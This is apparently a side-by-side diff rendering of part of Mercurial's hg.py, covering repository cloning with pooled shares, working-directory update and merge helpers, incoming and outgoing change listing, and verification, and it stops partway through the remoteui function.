560 raise error.Abort(_("destination '%s' already exists") % dest)
568 elif destvfs.listdir():
561 elif destvfs.listdir():
569 raise error.Abort(_("destination '%s' is not empty") % dest)
562 raise error.Abort(_("destination '%s' is not empty") % dest)
570
563
571 shareopts = shareopts or {}
564 shareopts = shareopts or {}
572 sharepool = shareopts.get('pool')
565 sharepool = shareopts.get('pool')
573 sharenamemode = shareopts.get('mode')
566 sharenamemode = shareopts.get('mode')
574 if sharepool and islocal(dest):
567 if sharepool and islocal(dest):
575 sharepath = None
568 sharepath = None
576 if sharenamemode == 'identity':
569 if sharenamemode == 'identity':
577 # Resolve the name from the initial changeset in the remote
570 # Resolve the name from the initial changeset in the remote
578 # repository. This returns nullid when the remote is empty. It
571 # repository. This returns nullid when the remote is empty. It
579 # raises RepoLookupError if revision 0 is filtered or otherwise
572 # raises RepoLookupError if revision 0 is filtered or otherwise
580 # not available. If we fail to resolve, sharing is not enabled.
573 # not available. If we fail to resolve, sharing is not enabled.
581 try:
574 try:
582 with srcpeer.commandexecutor() as e:
575 with srcpeer.commandexecutor() as e:
583 rootnode = e.callcommand('lookup', {
576 rootnode = e.callcommand('lookup', {
584 'key': '0',
577 'key': '0',
585 }).result()
578 }).result()
586
579
587 if rootnode != node.nullid:
580 if rootnode != node.nullid:
588 sharepath = os.path.join(sharepool, node.hex(rootnode))
581 sharepath = os.path.join(sharepool, node.hex(rootnode))
589 else:
582 else:
590 ui.status(_('(not using pooled storage: '
583 ui.status(_('(not using pooled storage: '
591 'remote appears to be empty)\n'))
584 'remote appears to be empty)\n'))
592 except error.RepoLookupError:
585 except error.RepoLookupError:
593 ui.status(_('(not using pooled storage: '
586 ui.status(_('(not using pooled storage: '
594 'unable to resolve identity of remote)\n'))
587 'unable to resolve identity of remote)\n'))
595 elif sharenamemode == 'remote':
588 elif sharenamemode == 'remote':
596 sharepath = os.path.join(
589 sharepath = os.path.join(
597 sharepool, node.hex(hashlib.sha1(source).digest()))
590 sharepool, node.hex(hashlib.sha1(source).digest()))
598 else:
591 else:
599 raise error.Abort(_('unknown share naming mode: %s') %
592 raise error.Abort(_('unknown share naming mode: %s') %
600 sharenamemode)
593 sharenamemode)
601
594
602 if sharepath:
595 if sharepath:
603 return clonewithshare(ui, peeropts, sharepath, source, srcpeer,
596 return clonewithshare(ui, peeropts, sharepath, source, srcpeer,
604 dest, pull=pull, rev=revs, update=update,
597 dest, pull=pull, rev=revs, update=update,
605 stream=stream)
598 stream=stream)
606
599
607 srclock = destlock = cleandir = None
600 srclock = destlock = cleandir = None
608 srcrepo = srcpeer.local()
601 srcrepo = srcpeer.local()
609 try:
602 try:
610 abspath = origsource
603 abspath = origsource
611 if islocal(origsource):
604 if islocal(origsource):
612 abspath = os.path.abspath(util.urllocalpath(origsource))
605 abspath = os.path.abspath(util.urllocalpath(origsource))
613
606
614 if islocal(dest):
607 if islocal(dest):
615 cleandir = dest
608 cleandir = dest
616
609
617 copy = False
610 copy = False
618 if (srcrepo and srcrepo.cancopy() and islocal(dest)
611 if (srcrepo and srcrepo.cancopy() and islocal(dest)
619 and not phases.hassecret(srcrepo)):
612 and not phases.hassecret(srcrepo)):
620 copy = not pull and not revs
613 copy = not pull and not revs
621
614
622 if copy:
615 if copy:
623 try:
616 try:
624 # we use a lock here because if we race with commit, we
617 # we use a lock here because if we race with commit, we
625 # can end up with extra data in the cloned revlogs that's
618 # can end up with extra data in the cloned revlogs that's
626 # not pointed to by changesets, thus causing verify to
619 # not pointed to by changesets, thus causing verify to
627 # fail
620 # fail
628 srclock = srcrepo.lock(wait=False)
621 srclock = srcrepo.lock(wait=False)
629 except error.LockError:
622 except error.LockError:
630 copy = False
623 copy = False
631
624
632 if copy:
625 if copy:
633 srcrepo.hook('preoutgoing', throw=True, source='clone')
626 srcrepo.hook('preoutgoing', throw=True, source='clone')
634 hgdir = os.path.realpath(os.path.join(dest, ".hg"))
627 hgdir = os.path.realpath(os.path.join(dest, ".hg"))
635 if not os.path.exists(dest):
628 if not os.path.exists(dest):
636 os.mkdir(dest)
629 os.mkdir(dest)
637 else:
630 else:
638 # only clean up directories we create ourselves
631 # only clean up directories we create ourselves
639 cleandir = hgdir
632 cleandir = hgdir
640 try:
633 try:
641 destpath = hgdir
634 destpath = hgdir
642 util.makedir(destpath, notindexed=True)
635 util.makedir(destpath, notindexed=True)
643 except OSError as inst:
636 except OSError as inst:
644 if inst.errno == errno.EEXIST:
637 if inst.errno == errno.EEXIST:
645 cleandir = None
638 cleandir = None
646 raise error.Abort(_("destination '%s' already exists")
639 raise error.Abort(_("destination '%s' already exists")
647 % dest)
640 % dest)
648 raise
641 raise
649
642
650 destlock = copystore(ui, srcrepo, destpath)
643 destlock = copystore(ui, srcrepo, destpath)
651 # copy bookmarks over
644 # copy bookmarks over
652 srcbookmarks = srcrepo.vfs.join('bookmarks')
645 srcbookmarks = srcrepo.vfs.join('bookmarks')
653 dstbookmarks = os.path.join(destpath, 'bookmarks')
646 dstbookmarks = os.path.join(destpath, 'bookmarks')
654 if os.path.exists(srcbookmarks):
647 if os.path.exists(srcbookmarks):
655 util.copyfile(srcbookmarks, dstbookmarks)
648 util.copyfile(srcbookmarks, dstbookmarks)
656
649
657 dstcachedir = os.path.join(destpath, 'cache')
650 dstcachedir = os.path.join(destpath, 'cache')
658 for cache in cacheutil.cachetocopy(srcrepo):
651 for cache in cacheutil.cachetocopy(srcrepo):
659 _copycache(srcrepo, dstcachedir, cache)
652 _copycache(srcrepo, dstcachedir, cache)
660
653
661 # we need to re-init the repo after manually copying the data
654 # we need to re-init the repo after manually copying the data
662 # into it
655 # into it
663 destpeer = peer(srcrepo, peeropts, dest)
656 destpeer = peer(srcrepo, peeropts, dest)
664 srcrepo.hook('outgoing', source='clone',
657 srcrepo.hook('outgoing', source='clone',
665 node=node.hex(node.nullid))
658 node=node.hex(node.nullid))
666 else:
659 else:
667 try:
660 try:
668 destpeer = peer(srcrepo or ui, peeropts, dest, create=True)
661 destpeer = peer(srcrepo or ui, peeropts, dest, create=True)
669 # only pass ui when no srcrepo
662 # only pass ui when no srcrepo
670 except OSError as inst:
663 except OSError as inst:
671 if inst.errno == errno.EEXIST:
664 if inst.errno == errno.EEXIST:
672 cleandir = None
665 cleandir = None
673 raise error.Abort(_("destination '%s' already exists")
666 raise error.Abort(_("destination '%s' already exists")
674 % dest)
667 % dest)
675 raise
668 raise
676
669
677 if revs:
670 if revs:
678 if not srcpeer.capable('lookup'):
671 if not srcpeer.capable('lookup'):
679 raise error.Abort(_("src repository does not support "
672 raise error.Abort(_("src repository does not support "
680 "revision lookup and so doesn't "
673 "revision lookup and so doesn't "
681 "support clone by revision"))
674 "support clone by revision"))
682
675
683 # TODO this is batchable.
676 # TODO this is batchable.
684 remoterevs = []
677 remoterevs = []
685 for rev in revs:
678 for rev in revs:
686 with srcpeer.commandexecutor() as e:
679 with srcpeer.commandexecutor() as e:
687 remoterevs.append(e.callcommand('lookup', {
680 remoterevs.append(e.callcommand('lookup', {
688 'key': rev,
681 'key': rev,
689 }).result())
682 }).result())
690 revs = remoterevs
683 revs = remoterevs
691
684
692 checkout = revs[0]
685 checkout = revs[0]
693 else:
686 else:
694 revs = None
687 revs = None
695 local = destpeer.local()
688 local = destpeer.local()
696 if local:
689 if local:
697 u = util.url(abspath)
690 u = util.url(abspath)
698 defaulturl = bytes(u)
691 defaulturl = bytes(u)
699 local.ui.setconfig('paths', 'default', defaulturl, 'clone')
692 local.ui.setconfig('paths', 'default', defaulturl, 'clone')
700 if not stream:
693 if not stream:
701 if pull:
694 if pull:
702 stream = False
695 stream = False
703 else:
696 else:
704 stream = None
697 stream = None
705 # internal config: ui.quietbookmarkmove
698 # internal config: ui.quietbookmarkmove
706 overrides = {('ui', 'quietbookmarkmove'): True}
699 overrides = {('ui', 'quietbookmarkmove'): True}
707 with local.ui.configoverride(overrides, 'clone'):
700 with local.ui.configoverride(overrides, 'clone'):
708 exchange.pull(local, srcpeer, revs,
701 exchange.pull(local, srcpeer, revs,
709 streamclonerequested=stream)
702 streamclonerequested=stream)
710 elif srcrepo:
703 elif srcrepo:
711 exchange.push(srcrepo, destpeer, revs=revs,
704 exchange.push(srcrepo, destpeer, revs=revs,
712 bookmarks=srcrepo._bookmarks.keys())
705 bookmarks=srcrepo._bookmarks.keys())
713 else:
706 else:
714 raise error.Abort(_("clone from remote to remote not supported")
707 raise error.Abort(_("clone from remote to remote not supported")
715 )
708 )
716
709
717 cleandir = None
710 cleandir = None
718
711
719 destrepo = destpeer.local()
712 destrepo = destpeer.local()
720 if destrepo:
713 if destrepo:
721 template = uimod.samplehgrcs['cloned']
714 template = uimod.samplehgrcs['cloned']
722 u = util.url(abspath)
715 u = util.url(abspath)
723 u.passwd = None
716 u.passwd = None
724 defaulturl = bytes(u)
717 defaulturl = bytes(u)
725 destrepo.vfs.write('hgrc', util.tonativeeol(template % defaulturl))
718 destrepo.vfs.write('hgrc', util.tonativeeol(template % defaulturl))
726 destrepo.ui.setconfig('paths', 'default', defaulturl, 'clone')
719 destrepo.ui.setconfig('paths', 'default', defaulturl, 'clone')
727
720
728 if ui.configbool('experimental', 'remotenames'):
721 if ui.configbool('experimental', 'remotenames'):
729 logexchange.pullremotenames(destrepo, srcpeer)
722 logexchange.pullremotenames(destrepo, srcpeer)
730
723
731 if update:
724 if update:
732 if update is not True:
725 if update is not True:
733 with srcpeer.commandexecutor() as e:
726 with srcpeer.commandexecutor() as e:
734 checkout = e.callcommand('lookup', {
727 checkout = e.callcommand('lookup', {
735 'key': update,
728 'key': update,
736 }).result()
729 }).result()
737
730
738 uprev = None
731 uprev = None
739 status = None
732 status = None
740 if checkout is not None:
733 if checkout is not None:
741 if checkout in destrepo:
734 if checkout in destrepo:
742 uprev = checkout
735 uprev = checkout
743 else:
736 else:
744 if update is not True:
737 if update is not True:
745 try:
738 try:
746 uprev = destrepo.lookup(update)
739 uprev = destrepo.lookup(update)
747 except error.RepoLookupError:
740 except error.RepoLookupError:
748 pass
741 pass
749 if uprev is None:
742 if uprev is None:
750 try:
743 try:
751 uprev = destrepo._bookmarks['@']
744 uprev = destrepo._bookmarks['@']
752 update = '@'
745 update = '@'
753 bn = destrepo[uprev].branch()
746 bn = destrepo[uprev].branch()
754 if bn == 'default':
747 if bn == 'default':
755 status = _("updating to bookmark @\n")
748 status = _("updating to bookmark @\n")
756 else:
749 else:
757 status = (_("updating to bookmark @ on branch %s\n")
750 status = (_("updating to bookmark @ on branch %s\n")
758 % bn)
751 % bn)
759 except KeyError:
752 except KeyError:
760 try:
753 try:
761 uprev = destrepo.branchtip('default')
754 uprev = destrepo.branchtip('default')
762 except error.RepoLookupError:
755 except error.RepoLookupError:
763 uprev = destrepo.lookup('tip')
756 uprev = destrepo.lookup('tip')
764 if not status:
757 if not status:
765 bn = destrepo[uprev].branch()
758 bn = destrepo[uprev].branch()
766 status = _("updating to branch %s\n") % bn
759 status = _("updating to branch %s\n") % bn
767 destrepo.ui.status(status)
760 destrepo.ui.status(status)
768 _update(destrepo, uprev)
761 _update(destrepo, uprev)
769 if update in destrepo._bookmarks:
762 if update in destrepo._bookmarks:
770 bookmarks.activate(destrepo, update)
763 bookmarks.activate(destrepo, update)
771 finally:
764 finally:
772 release(srclock, destlock)
765 release(srclock, destlock)
773 if cleandir is not None:
766 if cleandir is not None:
774 shutil.rmtree(cleandir, True)
767 shutil.rmtree(cleandir, True)
775 if srcpeer is not None:
768 if srcpeer is not None:
776 srcpeer.close()
769 srcpeer.close()
777 return srcpeer, destpeer
770 return srcpeer, destpeer
778
771
779 def _showstats(repo, stats, quietempty=False):
772 def _showstats(repo, stats, quietempty=False):
780 if quietempty and stats.isempty():
773 if quietempty and stats.isempty():
781 return
774 return
782 repo.ui.status(_("%d files updated, %d files merged, "
775 repo.ui.status(_("%d files updated, %d files merged, "
783 "%d files removed, %d files unresolved\n") % (
776 "%d files removed, %d files unresolved\n") % (
784 stats.updatedcount, stats.mergedcount,
777 stats.updatedcount, stats.mergedcount,
785 stats.removedcount, stats.unresolvedcount))
778 stats.removedcount, stats.unresolvedcount))
786
779
787 def updaterepo(repo, node, overwrite, updatecheck=None):
780 def updaterepo(repo, node, overwrite, updatecheck=None):
788 """Update the working directory to node.
781 """Update the working directory to node.
789
782
790 When overwrite is set, changes are clobbered, merged else
783 When overwrite is set, changes are clobbered, merged else
791
784
792 returns stats (see pydoc mercurial.merge.applyupdates)"""
785 returns stats (see pydoc mercurial.merge.applyupdates)"""
793 return mergemod.update(repo, node, False, overwrite,
786 return mergemod.update(repo, node, False, overwrite,
794 labels=['working copy', 'destination'],
787 labels=['working copy', 'destination'],
795 updatecheck=updatecheck)
788 updatecheck=updatecheck)
796
789
797 def update(repo, node, quietempty=False, updatecheck=None):
790 def update(repo, node, quietempty=False, updatecheck=None):
798 """update the working directory to node"""
791 """update the working directory to node"""
799 stats = updaterepo(repo, node, False, updatecheck=updatecheck)
792 stats = updaterepo(repo, node, False, updatecheck=updatecheck)
800 _showstats(repo, stats, quietempty)
793 _showstats(repo, stats, quietempty)
801 if stats.unresolvedcount:
794 if stats.unresolvedcount:
802 repo.ui.status(_("use 'hg resolve' to retry unresolved file merges\n"))
795 repo.ui.status(_("use 'hg resolve' to retry unresolved file merges\n"))
803 return stats.unresolvedcount > 0
796 return stats.unresolvedcount > 0
804
797
805 # naming conflict in clone()
798 # naming conflict in clone()
806 _update = update
799 _update = update
807
800
808 def clean(repo, node, show_stats=True, quietempty=False):
801 def clean(repo, node, show_stats=True, quietempty=False):
809 """forcibly switch the working directory to node, clobbering changes"""
802 """forcibly switch the working directory to node, clobbering changes"""
810 stats = updaterepo(repo, node, True)
803 stats = updaterepo(repo, node, True)
811 repo.vfs.unlinkpath('graftstate', ignoremissing=True)
804 repo.vfs.unlinkpath('graftstate', ignoremissing=True)
812 if show_stats:
805 if show_stats:
813 _showstats(repo, stats, quietempty)
806 _showstats(repo, stats, quietempty)
814 return stats.unresolvedcount > 0
807 return stats.unresolvedcount > 0
815
808
816 # naming conflict in updatetotally()
809 # naming conflict in updatetotally()
817 _clean = clean
810 _clean = clean
818
811
819 def updatetotally(ui, repo, checkout, brev, clean=False, updatecheck=None):
812 def updatetotally(ui, repo, checkout, brev, clean=False, updatecheck=None):
820 """Update the working directory with extra care for non-file components
813 """Update the working directory with extra care for non-file components
821
814
822 This takes care of non-file components below:
815 This takes care of non-file components below:
823
816
824 :bookmark: might be advanced or (in)activated
817 :bookmark: might be advanced or (in)activated
825
818
826 This takes arguments below:
819 This takes arguments below:
827
820
828 :checkout: to which revision the working directory is updated
821 :checkout: to which revision the working directory is updated
829 :brev: a name, which might be a bookmark to be activated after updating
822 :brev: a name, which might be a bookmark to be activated after updating
830 :clean: whether changes in the working directory can be discarded
823 :clean: whether changes in the working directory can be discarded
831 :updatecheck: how to deal with a dirty working directory
824 :updatecheck: how to deal with a dirty working directory
832
825
833 Valid values for updatecheck are (None => linear):
826 Valid values for updatecheck are (None => linear):
834
827
835 * abort: abort if the working directory is dirty
828 * abort: abort if the working directory is dirty
836 * none: don't check (merge working directory changes into destination)
829 * none: don't check (merge working directory changes into destination)
837 * linear: check that update is linear before merging working directory
830 * linear: check that update is linear before merging working directory
838 changes into destination
831 changes into destination
839 * noconflict: check that the update does not result in file merges
832 * noconflict: check that the update does not result in file merges
840
833
841 This returns whether conflict is detected at updating or not.
834 This returns whether conflict is detected at updating or not.
842 """
835 """
843 if updatecheck is None:
836 if updatecheck is None:
844 updatecheck = ui.config('commands', 'update.check')
837 updatecheck = ui.config('commands', 'update.check')
845 if updatecheck not in ('abort', 'none', 'linear', 'noconflict'):
838 if updatecheck not in ('abort', 'none', 'linear', 'noconflict'):
846 # If not configured, or invalid value configured
839 # If not configured, or invalid value configured
847 updatecheck = 'linear'
840 updatecheck = 'linear'
848 with repo.wlock():
841 with repo.wlock():
849 movemarkfrom = None
842 movemarkfrom = None
850 warndest = False
843 warndest = False
851 if checkout is None:
844 if checkout is None:
852 updata = destutil.destupdate(repo, clean=clean)
845 updata = destutil.destupdate(repo, clean=clean)
853 checkout, movemarkfrom, brev = updata
846 checkout, movemarkfrom, brev = updata
854 warndest = True
847 warndest = True
855
848
856 if clean:
849 if clean:
857 ret = _clean(repo, checkout)
850 ret = _clean(repo, checkout)
858 else:
851 else:
859 if updatecheck == 'abort':
852 if updatecheck == 'abort':
860 cmdutil.bailifchanged(repo, merge=False)
853 cmdutil.bailifchanged(repo, merge=False)
861 updatecheck = 'none'
854 updatecheck = 'none'
862 ret = _update(repo, checkout, updatecheck=updatecheck)
855 ret = _update(repo, checkout, updatecheck=updatecheck)
863
856
864 if not ret and movemarkfrom:
857 if not ret and movemarkfrom:
865 if movemarkfrom == repo['.'].node():
858 if movemarkfrom == repo['.'].node():
866 pass # no-op update
859 pass # no-op update
867 elif bookmarks.update(repo, [movemarkfrom], repo['.'].node()):
860 elif bookmarks.update(repo, [movemarkfrom], repo['.'].node()):
868 b = ui.label(repo._activebookmark, 'bookmarks.active')
861 b = ui.label(repo._activebookmark, 'bookmarks.active')
869 ui.status(_("updating bookmark %s\n") % b)
862 ui.status(_("updating bookmark %s\n") % b)
870 else:
863 else:
871 # this can happen with a non-linear update
864 # this can happen with a non-linear update
872 b = ui.label(repo._activebookmark, 'bookmarks')
865 b = ui.label(repo._activebookmark, 'bookmarks')
873 ui.status(_("(leaving bookmark %s)\n") % b)
866 ui.status(_("(leaving bookmark %s)\n") % b)
874 bookmarks.deactivate(repo)
867 bookmarks.deactivate(repo)
875 elif brev in repo._bookmarks:
868 elif brev in repo._bookmarks:
876 if brev != repo._activebookmark:
869 if brev != repo._activebookmark:
877 b = ui.label(brev, 'bookmarks.active')
870 b = ui.label(brev, 'bookmarks.active')
878 ui.status(_("(activating bookmark %s)\n") % b)
871 ui.status(_("(activating bookmark %s)\n") % b)
879 bookmarks.activate(repo, brev)
872 bookmarks.activate(repo, brev)
880 elif brev:
873 elif brev:
881 if repo._activebookmark:
874 if repo._activebookmark:
882 b = ui.label(repo._activebookmark, 'bookmarks')
875 b = ui.label(repo._activebookmark, 'bookmarks')
883 ui.status(_("(leaving bookmark %s)\n") % b)
876 ui.status(_("(leaving bookmark %s)\n") % b)
884 bookmarks.deactivate(repo)
877 bookmarks.deactivate(repo)
885
878
886 if warndest:
879 if warndest:
887 destutil.statusotherdests(ui, repo)
880 destutil.statusotherdests(ui, repo)
888
881
889 return ret
882 return ret
890
883
891 def merge(repo, node, force=None, remind=True, mergeforce=False, labels=None,
884 def merge(repo, node, force=None, remind=True, mergeforce=False, labels=None,
892 abort=False):
885 abort=False):
893 """Branch merge with node, resolving changes. Return true if any
886 """Branch merge with node, resolving changes. Return true if any
894 unresolved conflicts."""
887 unresolved conflicts."""
895 if not abort:
888 if not abort:
896 stats = mergemod.update(repo, node, True, force, mergeforce=mergeforce,
889 stats = mergemod.update(repo, node, True, force, mergeforce=mergeforce,
897 labels=labels)
890 labels=labels)
898 else:
891 else:
899 ms = mergemod.mergestate.read(repo)
892 ms = mergemod.mergestate.read(repo)
900 if ms.active():
893 if ms.active():
901 # there were conflicts
894 # there were conflicts
902 node = ms.localctx.hex()
895 node = ms.localctx.hex()
903 else:
896 else:
904 # there were no conficts, mergestate was not stored
897 # there were no conficts, mergestate was not stored
905 node = repo['.'].hex()
898 node = repo['.'].hex()
906
899
907 repo.ui.status(_("aborting the merge, updating back to"
900 repo.ui.status(_("aborting the merge, updating back to"
908 " %s\n") % node[:12])
901 " %s\n") % node[:12])
909 stats = mergemod.update(repo, node, branchmerge=False, force=True,
902 stats = mergemod.update(repo, node, branchmerge=False, force=True,
910 labels=labels)
903 labels=labels)
911
904
912 _showstats(repo, stats)
905 _showstats(repo, stats)
913 if stats.unresolvedcount:
906 if stats.unresolvedcount:
914 repo.ui.status(_("use 'hg resolve' to retry unresolved file merges "
907 repo.ui.status(_("use 'hg resolve' to retry unresolved file merges "
915 "or 'hg merge --abort' to abandon\n"))
908 "or 'hg merge --abort' to abandon\n"))
916 elif remind and not abort:
909 elif remind and not abort:
917 repo.ui.status(_("(branch merge, don't forget to commit)\n"))
910 repo.ui.status(_("(branch merge, don't forget to commit)\n"))
918 return stats.unresolvedcount > 0
911 return stats.unresolvedcount > 0
919
912
920 def _incoming(displaychlist, subreporecurse, ui, repo, source,
913 def _incoming(displaychlist, subreporecurse, ui, repo, source,
921 opts, buffered=False):
914 opts, buffered=False):
922 """
915 """
923 Helper for incoming / gincoming.
916 Helper for incoming / gincoming.
924 displaychlist gets called with
917 displaychlist gets called with
925 (remoterepo, incomingchangesetlist, displayer) parameters,
918 (remoterepo, incomingchangesetlist, displayer) parameters,
926 and is supposed to contain only code that can't be unified.
919 and is supposed to contain only code that can't be unified.
927 """
920 """
928 source, branches = parseurl(ui.expandpath(source), opts.get('branch'))
921 source, branches = parseurl(ui.expandpath(source), opts.get('branch'))
929 other = peer(repo, opts, source)
922 other = peer(repo, opts, source)
930 ui.status(_('comparing with %s\n') % util.hidepassword(source))
923 ui.status(_('comparing with %s\n') % util.hidepassword(source))
931 revs, checkout = addbranchrevs(repo, other, branches, opts.get('rev'))
924 revs, checkout = addbranchrevs(repo, other, branches, opts.get('rev'))
932
925
933 if revs:
926 if revs:
934 revs = [other.lookup(rev) for rev in revs]
927 revs = [other.lookup(rev) for rev in revs]
935 other, chlist, cleanupfn = bundlerepo.getremotechanges(ui, repo, other,
928 other, chlist, cleanupfn = bundlerepo.getremotechanges(ui, repo, other,
936 revs, opts["bundle"], opts["force"])
929 revs, opts["bundle"], opts["force"])
937 try:
930 try:
938 if not chlist:
931 if not chlist:
939 ui.status(_("no changes found\n"))
932 ui.status(_("no changes found\n"))
940 return subreporecurse()
933 return subreporecurse()
941 ui.pager('incoming')
934 ui.pager('incoming')
942 displayer = logcmdutil.changesetdisplayer(ui, other, opts,
935 displayer = logcmdutil.changesetdisplayer(ui, other, opts,
943 buffered=buffered)
936 buffered=buffered)
944 displaychlist(other, chlist, displayer)
937 displaychlist(other, chlist, displayer)
945 displayer.close()
938 displayer.close()
946 finally:
939 finally:
947 cleanupfn()
940 cleanupfn()
948 subreporecurse()
941 subreporecurse()
949 return 0 # exit code is zero since we found incoming changes
942 return 0 # exit code is zero since we found incoming changes
950
943
951 def incoming(ui, repo, source, opts):
944 def incoming(ui, repo, source, opts):
952 def subreporecurse():
945 def subreporecurse():
953 ret = 1
946 ret = 1
954 if opts.get('subrepos'):
947 if opts.get('subrepos'):
955 ctx = repo[None]
948 ctx = repo[None]
956 for subpath in sorted(ctx.substate):
949 for subpath in sorted(ctx.substate):
957 sub = ctx.sub(subpath)
950 sub = ctx.sub(subpath)
958 ret = min(ret, sub.incoming(ui, source, opts))
951 ret = min(ret, sub.incoming(ui, source, opts))
959 return ret
952 return ret
960
953
961 def display(other, chlist, displayer):
954 def display(other, chlist, displayer):
962 limit = logcmdutil.getlimit(opts)
955 limit = logcmdutil.getlimit(opts)
963 if opts.get('newest_first'):
956 if opts.get('newest_first'):
964 chlist.reverse()
957 chlist.reverse()
965 count = 0
958 count = 0
966 for n in chlist:
959 for n in chlist:
967 if limit is not None and count >= limit:
960 if limit is not None and count >= limit:
968 break
961 break
969 parents = [p for p in other.changelog.parents(n) if p != nullid]
962 parents = [p for p in other.changelog.parents(n) if p != nullid]
970 if opts.get('no_merges') and len(parents) == 2:
963 if opts.get('no_merges') and len(parents) == 2:
971 continue
964 continue
972 count += 1
965 count += 1
973 displayer.show(other[n])
966 displayer.show(other[n])
974 return _incoming(display, subreporecurse, ui, repo, source, opts)
967 return _incoming(display, subreporecurse, ui, repo, source, opts)
975
968
976 def _outgoing(ui, repo, dest, opts):
969 def _outgoing(ui, repo, dest, opts):
977 path = ui.paths.getpath(dest, default=('default-push', 'default'))
970 path = ui.paths.getpath(dest, default=('default-push', 'default'))
978 if not path:
971 if not path:
979 raise error.Abort(_('default repository not configured!'),
972 raise error.Abort(_('default repository not configured!'),
980 hint=_("see 'hg help config.paths'"))
973 hint=_("see 'hg help config.paths'"))
981 dest = path.pushloc or path.loc
974 dest = path.pushloc or path.loc
982 branches = path.branch, opts.get('branch') or []
975 branches = path.branch, opts.get('branch') or []
983
976
984 ui.status(_('comparing with %s\n') % util.hidepassword(dest))
977 ui.status(_('comparing with %s\n') % util.hidepassword(dest))
985 revs, checkout = addbranchrevs(repo, repo, branches, opts.get('rev'))
978 revs, checkout = addbranchrevs(repo, repo, branches, opts.get('rev'))
986 if revs:
979 if revs:
987 revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)]
980 revs = [repo[rev].node() for rev in scmutil.revrange(repo, revs)]
988
981
989 other = peer(repo, opts, dest)
982 other = peer(repo, opts, dest)
990 outgoing = discovery.findcommonoutgoing(repo, other, revs,
983 outgoing = discovery.findcommonoutgoing(repo, other, revs,
991 force=opts.get('force'))
984 force=opts.get('force'))
992 o = outgoing.missing
985 o = outgoing.missing
993 if not o:
986 if not o:
994 scmutil.nochangesfound(repo.ui, repo, outgoing.excluded)
987 scmutil.nochangesfound(repo.ui, repo, outgoing.excluded)
995 return o, other
988 return o, other
996
989
997 def outgoing(ui, repo, dest, opts):
990 def outgoing(ui, repo, dest, opts):
998 def recurse():
991 def recurse():
999 ret = 1
992 ret = 1
1000 if opts.get('subrepos'):
993 if opts.get('subrepos'):
1001 ctx = repo[None]
994 ctx = repo[None]
1002 for subpath in sorted(ctx.substate):
995 for subpath in sorted(ctx.substate):
1003 sub = ctx.sub(subpath)
996 sub = ctx.sub(subpath)
1004 ret = min(ret, sub.outgoing(ui, dest, opts))
997 ret = min(ret, sub.outgoing(ui, dest, opts))
1005 return ret
998 return ret
1006
999
1007 limit = logcmdutil.getlimit(opts)
1000 limit = logcmdutil.getlimit(opts)
1008 o, other = _outgoing(ui, repo, dest, opts)
1001 o, other = _outgoing(ui, repo, dest, opts)
1009 if not o:
1002 if not o:
1010 cmdutil.outgoinghooks(ui, repo, other, opts, o)
1003 cmdutil.outgoinghooks(ui, repo, other, opts, o)
1011 return recurse()
1004 return recurse()
1012
1005
1013 if opts.get('newest_first'):
1006 if opts.get('newest_first'):
1014 o.reverse()
1007 o.reverse()
1015 ui.pager('outgoing')
1008 ui.pager('outgoing')
1016 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
1009 displayer = logcmdutil.changesetdisplayer(ui, repo, opts)
1017 count = 0
1010 count = 0
1018 for n in o:
1011 for n in o:
1019 if limit is not None and count >= limit:
1012 if limit is not None and count >= limit:
1020 break
1013 break
1021 parents = [p for p in repo.changelog.parents(n) if p != nullid]
1014 parents = [p for p in repo.changelog.parents(n) if p != nullid]
1022 if opts.get('no_merges') and len(parents) == 2:
1015 if opts.get('no_merges') and len(parents) == 2:
1023 continue
1016 continue
1024 count += 1
1017 count += 1
1025 displayer.show(repo[n])
1018 displayer.show(repo[n])
1026 displayer.close()
1019 displayer.close()
1027 cmdutil.outgoinghooks(ui, repo, other, opts, o)
1020 cmdutil.outgoinghooks(ui, repo, other, opts, o)
1028 recurse()
1021 recurse()
1029 return 0 # exit code is zero since we found outgoing changes
1022 return 0 # exit code is zero since we found outgoing changes
1030
1023
1031 def verify(repo):
1024 def verify(repo):
1032 """verify the consistency of a repository"""
1025 """verify the consistency of a repository"""
1033 ret = verifymod.verify(repo)
1026 ret = verifymod.verify(repo)
1034
1027
1035 # Broken subrepo references in hidden csets don't seem worth worrying about,
1028 # Broken subrepo references in hidden csets don't seem worth worrying about,
1036 # since they can't be pushed/pulled, and --hidden can be used if they are a
1029 # since they can't be pushed/pulled, and --hidden can be used if they are a
1037 # concern.
1030 # concern.
1038
1031
1039 # pathto() is needed for -R case
1032 # pathto() is needed for -R case
1040 revs = repo.revs("filelog(%s)",
1033 revs = repo.revs("filelog(%s)",
1041 util.pathto(repo.root, repo.getcwd(), '.hgsubstate'))
1034 util.pathto(repo.root, repo.getcwd(), '.hgsubstate'))
1042
1035
1043 if revs:
1036 if revs:
1044 repo.ui.status(_('checking subrepo links\n'))
1037 repo.ui.status(_('checking subrepo links\n'))
1045 for rev in revs:
1038 for rev in revs:
1046 ctx = repo[rev]
1039 ctx = repo[rev]
1047 try:
1040 try:
1048 for subpath in ctx.substate:
1041 for subpath in ctx.substate:
1049 try:
1042 try:
1050 ret = (ctx.sub(subpath, allowcreate=False).verify()
1043 ret = (ctx.sub(subpath, allowcreate=False).verify()
1051 or ret)
1044 or ret)
1052 except error.RepoError as e:
1045 except error.RepoError as e:
1053 repo.ui.warn(('%d: %s\n') % (rev, e))
1046 repo.ui.warn(('%d: %s\n') % (rev, e))
1054 except Exception:
1047 except Exception:
1055 repo.ui.warn(_('.hgsubstate is corrupt in revision %s\n') %
1048 repo.ui.warn(_('.hgsubstate is corrupt in revision %s\n') %
1056 node.short(ctx.node()))
1049 node.short(ctx.node()))
1057
1050
1058 return ret
1051 return ret
1059
1052
1060 def remoteui(src, opts):
1053 def remoteui(src, opts):
1061 'build a remote ui from ui or repo and opts'
1054 'build a remote ui from ui or repo and opts'
1062 if util.safehasattr(src, 'baseui'): # looks like a repository
1055 if util.safehasattr(src, 'baseui'): # looks like a repository
1063 dst = src.baseui.copy() # drop repo-specific config
1056 dst = src.baseui.copy() # drop repo-specific config
1064 src = src.ui # copy target options from repo
1057 src = src.ui # copy target options from repo
1065 else: # assume it's a global ui object
1058 else: # assume it's a global ui object
1066 dst = src.copy() # keep all global options
1059 dst = src.copy() # keep all global options
1067
1060
1068 # copy ssh-specific options
1061 # copy ssh-specific options
1069 for o in 'ssh', 'remotecmd':
1062 for o in 'ssh', 'remotecmd':
1070 v = opts.get(o) or src.config('ui', o)
1063 v = opts.get(o) or src.config('ui', o)
1071 if v:
1064 if v:
